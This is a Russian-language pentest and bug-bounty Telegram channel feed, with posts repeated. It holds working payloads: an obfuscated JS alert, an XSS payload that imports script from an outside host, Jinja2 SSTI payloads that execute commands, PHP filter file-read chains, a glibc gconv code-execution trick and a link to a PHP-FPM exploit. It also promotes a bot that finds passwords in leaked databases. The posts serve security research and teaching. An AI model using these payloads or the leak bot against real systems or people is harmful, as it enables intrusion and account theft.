JS-Alpha - забавный JS-енкодер, который обфусцирует сценарий только с помощью символов
https://terjanq.github.io/JS-Alpha/encoder.html
Например,
/[a-z().]/
(ха). Выглядит это как набор функций, ценности особо не несёт, но выглядит забавно.https://terjanq.github.io/JS-Alpha/encoder.html
Например,
alert(1)
: with(escape())with(eval.bind)eval(unescape(match().concat(strike().big().link().length).concat(escape(escape.name.length).concat(escape(...call.name))).concat(escape(escape(link())).length).concat(link().blink().link().length).concat(link().link().strike().length).concat(name.link().length).concat(big().big().length).concat(fixed().big().length).join(unescape(...escape(this)))))
Бот для поиска паролей по введённому email’у на основе множества утечек баз данных. База постоянно пополняется :)
@mailsearchbot
@mailsearchbot
Иногда бывает, что в ответ на GET запрос получаем JSON объект, где может храниться чувствительная информация: какие-нибудь данные пользователя или даже CSRF-токен! И если раньше мы могли «узнать» эту информацию, то сейчас это стало невозможным.
Однако всегда стоит проверить возможность добавить функцию обратного вызова и получить JSONP объект, который до сих пор можно захайджечить! Пример:
Зачастую для вызова обратной функции у меня встречались следующие параметры:
А затем уже эксплуатируем обычный JSONP Hijacking, как в примерах ниже:
https://hackerone.com/reports/361951
https://hackerone.com/reports/9775
https://hackerone.com/reports/361951
Кроме того, такую находку можно использовать для обхода CSP, как писали тут ранее.
Однако всегда стоит проверить возможность добавить функцию обратного вызова и получить JSONP объект, который до сих пор можно захайджечить! Пример:
GET /api/user.info?callback=xek
HTTP/1.1Зачастую для вызова обратной функции у меня встречались следующие параметры:
callback
jsonp
cb
jp
А затем уже эксплуатируем обычный JSONP Hijacking, как в примерах ниже:
https://hackerone.com/reports/361951
https://hackerone.com/reports/9775
https://hackerone.com/reports/361951
Кроме того, такую находку можно использовать для обхода CSP, как писали тут ранее.
PortSwigger Research
JSON hijacking for the modern web
I presented this topic at OWASP London and Manchester. You can find the talk and slides below: Slides from OWASP London talk Benjamin Dumke-von der Ehe found an interesting way to steal data cross dom
Когда у тебя есть CRLF в заголовке Location при редиректе, ты можешь попробовать превратить CRLF в полноценную XSS.
Браузеры не рендерят тело в ответе, где присутствует перенаправление. Однако, редирект можно прервать и тогда тело отобразится. Как завещал BlackFan:
* Для браузера Chrome необходимо, чтобы сервер вернул пустой заголовок Location.
* Для FF чуть проще, нужно контролировать порт домена, куда происходит редирект, указав unsafe port, например 1 или 22.
Браузеры не рендерят тело в ответе, где присутствует перенаправление. Однако, редирект можно прервать и тогда тело отобразится. Как завещал BlackFan:
* Для браузера Chrome необходимо, чтобы сервер вернул пустой заголовок Location.
* Для FF чуть проще, нужно контролировать порт домена, куда происходит редирект, указав unsafe port, например 1 или 22.
Чтобы подключить внешний JS на страницу, нужно было либо обращаться к удаленной странице и выполнять ответ. Или хитрить и использовать уже подключенные библиотеки, например
Сейчас в Chrome и Safari достаточно использовать функцию import. Например
Для ответа у нашего скрипта должен быть настроен CORS, но в этом никакой проблемы нет.
$.getScript
в Jquery.Сейчас в Chrome и Safari достаточно использовать функцию import. Например
<img src onerror=import('//bo0om.ru/x/')>
Для ответа у нашего скрипта должен быть настроен CORS, но в этом никакой проблемы нет.
PayloadsAllTheThings - коллекция полезной нагрузки ко всему, вот серьёзно.
Тут и вектора атак для CRLF, и к Path Traversal, различные пэйлоады для imagemagic и ffmpeg, XXE, ссылки на разборы и мануалы, даже старый добрый SecLists больше не нужен. Обязателен в коллекции любого bounty hunter'а. А уж сколько заданий в CTF было решено за счёт него!
А чего еще нет, добавляется с помощью комьюнити, подключайтесь!
Тут и вектора атак для CRLF, и к Path Traversal, различные пэйлоады для imagemagic и ffmpeg, XXE, ссылки на разборы и мануалы, даже старый добрый SecLists больше не нужен. Обязателен в коллекции любого bounty hunter'а. А уж сколько заданий в CTF было решено за счёт него!
А чего еще нет, добавляется с помощью комьюнити, подключайтесь!
🔥1
Не секрет, что Telegram поддерживает форматирование. Мессенджер поддерживает markdown, к тому же, у него есть горячие клавиши. Например это жирные (
А еще можно вставлять ссылки. Причем внешне корректные ссылки, такие как https://google.com, хоть и могут отправлять в другое место, но будет отображено предупреждение.
Но ссылки на
Так что аккуратнее с этим. А @durov, спасибо!
Ctrl/Cmd + B
) или курсивные ( Ctrl/Cmd + I
) буквы.А еще можно вставлять ссылки. Причем внешне корректные ссылки, такие как https://google.com, хоть и могут отправлять в другое место, но будет отображено предупреждение.
Но ссылки на
t.iss.one
будут обработаны по-другому. При нажатии сразу будет открываться группа, профиль человека или бот. Для этого нужно выделить текст, нажать Ctrl/Cmd+U
и указать ссылку.Так что аккуратнее с этим. А @durov, спасибо!
Часто при использовании Burp Repeater'а хочется посмотреть историю отправленных через него запросов - для этого удобно использовать плагин Burp Suite Logger++.
https://github.com/nccgroup/BurpSuiteLoggerPlusPlus
https://github.com/nccgroup/BurpSuiteLoggerPlusPlus
GitHub
GitHub - nccgroup/LoggerPlusPlus: Advanced Burp Suite Logging Extension
Advanced Burp Suite Logging Extension. Contribute to nccgroup/LoggerPlusPlus development by creating an account on GitHub.
Что если вы контролируете путь к файлу для чтения в PHP, но результат отображается только при соответствии каким-то условиям?
Например, это может быть проверка через getimagesize() на то, что прочитанный файл является изображением. Также содержимое может выводиться не целиком, а лишь частично.
Ещё ситуация: у вас XXE, и вы хотите читать файлы с угловыми скобками (те же PHP-скрипты). Просто так это зачастую не сделать из-за нарушения синтаксиса XML.
На помощь приходят обёртки и фильтры:
https://www.php.net/manual/ru/filters.convert.php
https://www.php.net/manual/ru/filters.compression.php
https://www.php.net/manual/ru/filters.string.php
https://www.php.net/manual/ru/migration53.new-stream-filters.php
PHP позволяет на лету преобразовывать содержимое, прочитанное из ресурса (как из файловой системы, так и по сети).
Например, вот так можно прочитать веб-страницу, на лету убрать из неё теги, сжать с zlib и закодировать в base64:
Комбинируя фильтры, можно зачастую извлечь данные, которые приложение не хотело отдавать из-за валидации в XML-парсере или на уровне скрипта.
Например, это может быть проверка через getimagesize() на то, что прочитанный файл является изображением. Также содержимое может выводиться не целиком, а лишь частично.
Ещё ситуация: у вас XXE, и вы хотите читать файлы с угловыми скобками (те же PHP-скрипты). Просто так это зачастую не сделать из-за нарушения синтаксиса XML.
На помощь приходят обёртки и фильтры:
https://www.php.net/manual/ru/filters.convert.php
https://www.php.net/manual/ru/filters.compression.php
https://www.php.net/manual/ru/filters.string.php
https://www.php.net/manual/ru/migration53.new-stream-filters.php
PHP позволяет на лету преобразовывать содержимое, прочитанное из ресурса (как из файловой системы, так и по сети).
Например, вот так можно прочитать веб-страницу, на лету убрать из неё теги, сжать с zlib и закодировать в base64:
php://filter/read=string.strip_tags|zlib.deflate|convert.base64-encode/resource=https://localhost:1337/secret.xml
Комбинируя фильтры, можно зачастую извлечь данные, которые приложение не хотело отдавать из-за валидации в XML-парсере или на уровне скрипта.
Отличный эксплоит с отличным названием PHuiP-FPizdaM!
В версиях php 7+ (заканчивая вчерашней) в парсинге fastcgi есть бинарный баг, который позволяет перетереть FASTCGI переменные, что позволяет выставлять php.ini опции, что в свою очередь дает возможность выполнить код.
Для успешной эксплутатации нужно, чтобы в связке php-fpm + nginx конфиг последнего позволял передать пустое значение PATH_INFO (все предусловия написаны в README.md эксплоита).
Подробности, примеры и прочие фишки будут на ZN.
В версиях php 7+ (заканчивая вчерашней) в парсинге fastcgi есть бинарный баг, который позволяет перетереть FASTCGI переменные, что позволяет выставлять php.ini опции, что в свою очередь дает возможность выполнить код.
Для успешной эксплутатации нужно, чтобы в связке php-fpm + nginx конфиг последнего позволял передать пустое значение PATH_INFO (все предусловия написаны в README.md эксплоита).
Подробности, примеры и прочие фишки будут на ZN.
GitHub
phuip-fpizdam/README.md at master · neex/phuip-fpizdam
Exploit for CVE-2019-11043. Contribute to neex/phuip-fpizdam development by creating an account on GitHub.
Если вы когда-нибудь сталкивались с SSTI в Jinja2, то вы наверняка гуглили RCE payload и находили что-то монструозное вроде этого:
Этот пейлоад достает класс
К счастью, всё можно сделать гораздо проще:
Здесь мы используем встроенную в Jinja функцию
Вообще, при эксплуатации SSTI-подобных уязвимостей в питоне полезно помнить о существовании свойства
{{''.__class__.mro()[1].__subclasses__()[46]('touch /tmp/rce',shell=True)}}
Этот пейлоад достает класс
Popen
по индексу из наследников object
и исполняет команду. Он не очень-то удобен: индекс Popen
(который в примере равен 46) различается от сетапа к сетапу, поэтому его нужно подбирать.К счастью, всё можно сделать гораздо проще:
{{lipsum.__globals__["__builtins__"].eval("<python code>")}}
Здесь мы используем встроенную в Jinja функцию
lipsum
(она возвращает текст "Lorem ipsum dolor..."), но вместо того чтобы вызывать её, мы через __globals__
достаем её глобальные переменные — а в них нас ждет модуль __builtins__
с функцией eval
.Вообще, при эксплуатации SSTI-подобных уязвимостей в питоне полезно помнить о существовании свойства
__globals__
у всех питоновских функций (кроме встроенных). Если в вашем окружении нет функций, а только объекты — не беда, найдите у него любой метод и возьмите свойство __func__
. Вы получите unbound функцию, у которой уже будет __globals__
.Знали ли вы, что второй аргумент
Оказывается, glibc поддерживает синтаксис для указания кодировок, это можно сделать вот так:
В итоге, если вы можете для чужого приложения
1) переопределить переменную окружения
2) куда-нибудь записать свою so-шку и файл
3) дописать
то вы получите выполнение кода.
Конечно, в реальных приложениях такое вряд ли встретится, но это доказывает что даже в самых базовых библиотеках полно интересного.
Кстати, эта же система кодировок-модулей используется и в
Подробности можно прочитать в посте японца, который это заметил.
fopen
(тот самый, который w
или, например, r+
) умеет исполнять код? Ну почти.Оказывается, glibc поддерживает синтаксис для указания кодировок, это можно сделать вот так:
fopen("file", "w,ccs=<encoding>")
. Сами кодировки подгружаются динамически, функции для работы с каждой кодировкой лежат в отдельном .so
-файле. Конфиг, содержащий пути к этим библиотекам называется gconv-modules
и обычно лежит где-нибудь в /usr/lib/x86_64-linux-gnu/gconv/
, но если переопределить переменную окружения GCONV_PATH
, то он будет браться из указанной директории. И path traversal, конечно, в нем полностью поддерживается.В итоге, если вы можете для чужого приложения
1) переопределить переменную окружения
GCONV_PATH
2) куда-нибудь записать свою so-шку и файл
gconv-modules
3) дописать
,css=payload
во второй аргумент fopen
то вы получите выполнение кода.
Конечно, в реальных приложениях такое вряд ли встретится, но это доказывает что даже в самых базовых библиотеках полно интересного.
Кстати, эта же система кодировок-модулей используется и в
iconv
(и утилите, и библиотеке), поэтому трюк можно использовать для обхода disabled_functions
в php. Правда, для того, чтобы задать GCONV_PATH
должен быть разрешен putenv
, а это уже само по себе небезопасно.Подробности можно прочитать в посте японца, который это заметил.
#Nmap
Для красивого отображения результата сканирования с помощью nmap (с сохранением XML, атрибут -oX), достаточно добавить кастомный стиль, который сделает доступным сортировку, поиск и прочие плюшки bootstrap.
Для этого достаточно добавить строку
после
Или проще - положить содержимое nmap-bootstrap.xsl в /usr/share/nmap/nmap.xsl, после чего локальные результаты сканирования будут иметь красивый и удобный для работы вид, без парсинга содержимого XML и верстки в сторонних утилитах.
Для красивого отображения результата сканирования с помощью nmap (с сохранением XML, атрибут -oX), достаточно добавить кастомный стиль, который сделает доступным сортировку, поиск и прочие плюшки bootstrap.
Для этого достаточно добавить строку
<?xml-stylesheet href="https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/master/nmap-bootstrap.xsl" type="text/xsl"?>
после
<!DOCTYPE nmaprun>
. Или проще - положить содержимое nmap-bootstrap.xsl в /usr/share/nmap/nmap.xsl, после чего локальные результаты сканирования будут иметь красивый и удобный для работы вид, без парсинга содержимого XML и верстки в сторонних утилитах.
#Burp
С тех пор, как Burp официально релизнул 2.x ветку, где добавил динамический анализ JS кода, многие стали жаловаться на большое потребление оперативной памяти и медленную скорость сканирования. Ну а как же иначе, ведь Burp 2.x теперь тащит с собой целый headless chrome через который и гоняет анализ JS.
Но не стоит отчаиваться, эти "тяжёлые" (и честно говоря, мало полезные) проверки можно отключить через настройки сканирования. Для этого в меню new scan, возникающем при запуске active scan необходимо перейти во вкладку Scan Configuration, создать новую конфигурацию кнопкой New и в выпадающем меню JavaScript Analysis отключить галочки по вкусу. Обязательно стоит отключить dynamic analysis techniques, за что ваша оперативная память скажет вам спасибо, но я лично отключаю их всех, если не преследую какой-то конкретной цели по анализу JS.
P.S. Если вы только что открыли для себя существования меню настроек сканирования, рекомендую задержаться в нём и посмотреть внимательно на предоставляемые возможности.
С тех пор, как Burp официально релизнул 2.x ветку, где добавил динамический анализ JS кода, многие стали жаловаться на большое потребление оперативной памяти и медленную скорость сканирования. Ну а как же иначе, ведь Burp 2.x теперь тащит с собой целый headless chrome через который и гоняет анализ JS.
Но не стоит отчаиваться, эти "тяжёлые" (и честно говоря, мало полезные) проверки можно отключить через настройки сканирования. Для этого в меню new scan, возникающем при запуске active scan необходимо перейти во вкладку Scan Configuration, создать новую конфигурацию кнопкой New и в выпадающем меню JavaScript Analysis отключить галочки по вкусу. Обязательно стоит отключить dynamic analysis techniques, за что ваша оперативная память скажет вам спасибо, но я лично отключаю их всех, если не преследую какой-то конкретной цели по анализу JS.
P.S. Если вы только что открыли для себя существования меню настроек сканирования, рекомендую задержаться в нём и посмотреть внимательно на предоставляемые возможности.
#Burp
Недавно команда PortSwigger обновила список топ 10 лучших плагинов для Burp. Подробнее можно ознакомиться тут https://portswigger.net/testers/penetration-testing-tools#the-top-10-burp-suite-extensions-for-pentesters.
На скромном третьем месте расположился плагин Turbo Intruder, на мой взгляд, самый гибкий и мощный плагин для Burp. Он позволяет проводить fuzzing на больших скоростях с интеграцией кастомной логики + отлично подходит для тестов race condition. Детали доступны по ссылке https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack, а также среди примеров скриптов https://github.com/PortSwigger/turbo-intruder/tree/master/resources/examples.
Впрочем, работа с ним может показаться неудобной из-за необходимости писать скрипт во встроенном примитивном редакторе. Но есть изящный выход из ситуации, детали на скриншоте.
Недавно команда PortSwigger обновила список топ 10 лучших плагинов для Burp. Подробнее можно ознакомиться тут https://portswigger.net/testers/penetration-testing-tools#the-top-10-burp-suite-extensions-for-pentesters.
На скромном третьем месте расположился плагин Turbo Intruder, на мой взгляд, самый гибкий и мощный плагин для Burp. Он позволяет проводить fuzzing на больших скоростях с интеграцией кастомной логики + отлично подходит для тестов race condition. Детали доступны по ссылке https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack, а также среди примеров скриптов https://github.com/PortSwigger/turbo-intruder/tree/master/resources/examples.
Впрочем, работа с ним может показаться неудобной из-за необходимости писать скрипт во встроенном примитивном редакторе. Но есть изящный выход из ситуации, детали на скриншоте.
Stable Chrome 80 осталось ждать совсем недолго, релиз назначен на 4 февраля. В связи с этим тема флага
Детальней про Referrer фичу: https://www.chromestatus.com/feature/6251880185331712
Следить за жизнью релизов Chrome: https://www.chromestatus.com/features/schedule
SameSite=Lax
для cookie опять начала будоражить умы человечества. Из-за этого многие не заметили другое, более тихое, нововведение. Теперь Referrer Policy будет выставляться по умолчанию в значение strict-origin-when-cross-origin
. Это значит теперь можно забыть про утечку одноразовых ссылок восстановления и прочей чувствительной информации на сторонние ресурсы из URL через Referrer. Еще одной client-site багой стало меньше 😢Детальней про Referrer фичу: https://www.chromestatus.com/feature/6251880185331712
Следить за жизнью релизов Chrome: https://www.chromestatus.com/features/schedule
Говорят, есть пять стадий понимания SSRF.
1) Отрицание
Это не бага, а фича!
2) Злость
Импакта нет и не будет!
3) Торг
Ну может быть, в редких случаях.
4) Депрессия
Всякие чуваки показывают трюки SSRF => RCE
5) Принятие
Ты сам проверяешь и пытаешься эксплуатировать эту багу.
Написал заметку о том, что можно выжать из Blind SSRF.
1) Отрицание
Это не бага, а фича!
2) Злость
Импакта нет и не будет!
3) Торг
Ну может быть, в редких случаях.
4) Депрессия
Всякие чуваки показывают трюки SSRF => RCE
5) Принятие
Ты сам проверяешь и пытаешься эксплуатировать эту багу.
Написал заметку о том, что можно выжать из Blind SSRF.